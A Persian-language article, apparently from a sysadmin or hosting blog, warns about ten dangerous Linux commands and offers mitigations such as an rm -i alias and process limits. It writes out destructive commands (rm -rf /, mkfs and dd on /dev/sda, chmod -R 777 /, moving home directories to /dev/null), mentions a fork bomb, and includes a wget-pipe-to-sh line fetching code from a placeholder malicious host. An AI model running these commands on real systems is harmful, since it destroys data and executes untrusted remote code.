رابط خط فرمان یا command-line، یک ابزار کاربردی و قدرتمند برای مدیریت سیستمهای لینوکسی است. این رابط، یک روش مدیریتی سریع و چند منظوره برای سیستم ها، مخصوصا سیستم هایی که فاقد محیط گرافیکی هستند، فراهم میکند. علی رغم فواید آن، این ابزار مملو از ریسک است. اجرای دستورات اشتباه میتواند موجب آسیبهای غیرقابل جبران به سیستم شود. در این مقاله، لیستی از 10 دستور خطرناک لینوکس که هرگز نباید به اجرای آنها در سیستم فکر کنید، گردآوری شده است.
10 دستور خطرناک لینوکس
1- دستور / rm -rf
از دستور rm با توجه به آرگومان آن، جهت حذف فایلها و دایرکتوریها استفاده میشود. هنگام استفاده از این دستور باید نهایت احتیاط را به خرج داد. زیرا یک اشتباه تایپی کوچک میتواند منجر به آسیبهای جبران ناپذیر در سیستم شود.
هنگامی که این دستور با یوزر root و آپشن -rf / اجرا شود، تمامی فایلها و دایرکتوریهای سیستم را از بالاترین دایرکتوری یعنی دایرکتوری روت (/) در ساختار سلسله مراتبی لینوکس، حذف میکند. به زبان سادهتر، دستور / rm -rf اطلاعات سیستم عامل را کاملا حذف کرده و سرور شما ناقص و غیرقابل بازیابی میشود.
برخی از آپشنهای این دستور به شرح ذیل هستند:
rm : جهت حذف فایلها استفاده میشود.
rm -r : حذف دایرکتوری، حتی اگر دایرکتوری خالی باشد.
rm -f : حذف فایل های فقط خواندنی بدون پرسش
/ rm -rf : حذف تمامی اطلاعات از دایرکتوری روت (/) به صورت اجباری (بدون پرسش)
* rm -rf : حذف تمامی اطلاعات از مسیر دایرکتوری جاری بدون پرسش
. rm -rf : حذف پوشه جاری و زیرپوشهها بدون پرسش
زمانی که شما دستور مربوطه را به عنوان یک یوزر معمولی اجرا میکنید، همانند تصویر زیر، دو هشدار در ترمینال دریافت خواهید کرد:
تصویر(1)
پیشنهاد میشود که برای جلوگیری از حذف ناخواسته فایلها به وسیله دستور rm، در فایل "bashrc." یک alias برای این دستور با مقدار rm -i ایجاد نمایید. این مورد سبب میشود تا هنگام اجرای دستور، از شما تاییدیه حذف دریافت گردد.
2- دستور :
دستور فوق در واقع یک فورک بمب (به معنای بمبی که با انشعاب مکرر پروسهها ایجاد میشود) است. این دستور تابعی به نام ':' ایجاد خواهد کرد که خودش را دو بار (یک بار در background و یک بار در foreground) فراخوانی میکند. تابع ':' به طور مکرر این عمل را انجام داده و با اشغال کردن تمامی منابع، منجر به کرش سرور میشود.
دستور فورک بمب، اساسا یک شکل از حمله DoS (Denial-of-Service) است. همچنین با نامهای ویروس Wabbit و Rabbit نیز شناخته میشود. بدترین بخش در مورد دستور فورک بمب این است که جهت اجرا به دسترسی روت نیازی ندارد. خوشبختانه شما میتوانید با محدود کردن تعداد پروسههای قابل اجرا توسط کاربران سرور به حدود 4000 عدد، از این اتفاق جلوگیری نمایید. جهت اعمال محدودیت میتوانید از دستور زیر استفاده کنید:
ulimit -S -u 4000
سپس توسط دستور زیر، امکان مشاهده تعداد پروسهها را خواهید داشت:
ulimit -u
تصویر(2)
3- دستور dev/sda/<
چنانچه در انتهای دستوری، dev/sda/< اضافه و اجرا شود، موجب بازنویسی بلاک dev/sda/ در هارد درایو خواهد شد. این بلاک حاوی اطلاعات فایل سیستم است و در صورتی که بازنویسی شود، به درایو و اطلاعات سیستم آسیبهای جبران ناپذیری وارد می گردد.
4- دستور mv folder /dev/null
عملیات خطرناک دیگری که نباید امتحان کنید انتقال فایلها و دایرکتوریها به dev/null/ میباشد. فایل dev/null/ یک نوع خاص از فایل است که به عنوان null device یا the black hole (سیاه چاله) شناخته میشود. هر چیزی به dev/null/ منتقل گردد از بین میرود. دستور زیر تمامی محتوای هوم دایرکتوری کاربران را به dev/null/ منتقل میکند و در نتیجه تمامی اطلاعات مربوطه حذف خواهند شد.
mv /home/user/* /dev/null
5- دستور wget http://malicious_source -O- | sh
دستور wget جهت دانلود فایل از وب یا "فایل سرور" استفاده میشود. دستور فوق، اسکریپتی را از یک منبع آلوده دانلود نموده و سپس آن را اجرا میکند.
6- دستور mkfs.ext3 /dev/sda
دستور mkfs یک فایل سیستم جدید (مانند ext2، ext3، ext4 و…) روی یک فضای ذخیره سازی فرمت شده ایجاد میکند. در بسیاری از موارد این عملیات روی یک پارتیشن هارد درایو انجام میشود. اجرای دستور mkfs روی یک پارتیشن، تمامی اطلاعات ذخیره شده در آن را حذف میکند و می تواند در زمره 10 دستور خطرناک لینوکس قرار بگیرد. در حالیکه این دستور برای فرمت پارتیشنها مفید است اما فرمت کل درایو (مانند دستور mkfs.ext3 /dev/sda) موجب کرش سیستم شده و آن را غیرقابل بازیابی میکند. این اتفاق به دلیل حذف تمامی فایلهای سیستمی علاوه بر اطلاعات شخصی، رخ میدهد.
چند حالت دیگر استفاده از این دستور به شرح ذیل میباشد:
mkfs.ext4 /dev/sda
mkfs.xfs /dev/sda
mkfs.btrfs /dev/sda
7- دستور file <
دستور file < تمام محتوای فایلی که به آن اشاره دارد را حذف نموده و فایل را خالی میکند. این دستور مشابه cat /dev/null > file می باشد. هنگام استفاده از عملگر ریدایرکت در سیستم لینوکس، بسیار مهم است که احتیاط لازم را به عمل آورید. در تصویر زیر، نحوه بازنویسی یک فایل متنی توسط این دستور را مشاهده میکنید.
تصویر(3)
تصور کنید چه فاجعه ای رخ میدهد هنگامی که به جای فایل متنی فوق، یک فایل پیکربندی باشد.
8- دستور foo^bar^
دستور foo^bar^ به همان اندازه که مفید است، خطرناک نیز خواهد بود و این مورد به نحوه اجرای آن بستگی دارد. با وجود اینکه دستور مذکور به شما امکان تغییر دستورات از پیش اجرا شده و اجرای مجدد آنها با مقادیر جدید را میدهد اما در صورتی که بر تغییرات مربوطه تسلط کامل نداشته باشید میتواند منجر به مشکلات جدی در سیستم شود.
9- دستور dd if=/dev/random of=/dev/sda
این دستور تمامی اطلاعات بلاک dev/sda/ را حذف نموده و مجموعه ای از اطلاعات تصادفی را روی بلاک مینویسد. با اجرای این دستور، سیستم شما دچار مشکل شده و در وضعیت غیرقابل بازیابی قرار میگیرد.
10- دستور / Chmod -R 777
این دستور ممکن است فورا منجر به کرش سیستم لینوکسی نشود اما مجوز کامل (خواندن، نوشتن و اجرا) را به تمامی فایلها اختصاص میدهد به همین علت در لیست 10 دستور خطرناک لینوکس قرار گرفته است..
این دستور تمامی فایلهای پیکربندی ضروری سیستم و سایر فایلها را در معرض دسترسی کاربران قرار داده و باعث ایجاد یک خطر امنیتی بزرگ در سیستم میشود. در این حالت، افرادی که قصد آسیب رسانی به سیستم را دارند، میتوانند عملیات و دستورات مخرب را روی سرور اجرا نمایند.
11- دستورات مخفی
دستور زیر همان دستور (rm -rf) است که به عنوان اولین دستور در این مقاله توضیح داده شد. در اینجا کدها به صورت هگزادسیمال نوشته شدهاند، به همین خاطر امکان دارد که کاربر فریب خورده و دستور را اجرا نماید.
دستور زیر نشان میدهد که تهدیدها گاهی میتوانند مخفی و غیر قابل تشخیص باشند. بنابراین باید از کاری که انجام میدهید و نتیجه آن آگاهی کامل داشته باشید. همچنین نیاز است تا کدهایی که از منابع ناشناس و غیر معتبر هستند را اجرا نکنید.
تصویر(4)
توجه: هیچ یک از دستورات فوق را در ترمینال لینوکس سیستم شخصی یا محل کار اجرا نکنید. چنانچه قصد دارید آنها را امتحان نمایید، روی یک ماشین مجازی این کار را انجام دهید.
نتیجه گیری
لینوکس یک سیستم عامل قدرتمند است که دستورات مفید زیادی جهت مدیریت سیستم دارد و انجام امور مختلف را ساده تر میکند. با این حال، برخی از دستورات به حدی خطرناک هستند که در صورت عدم اجرای صحیح، میتوانند آسیبهای جبران ناپذیری به سیستم وارد کنند که در این مقاله 10 دستور خطرناک لینوکس را مشاهده نمودید. توصیه میشود همواره راهنمای دستورات را مطالعه نموده و همچنین قبل از اجرای آنها، ورودیها را با دقت بررسی نمایید.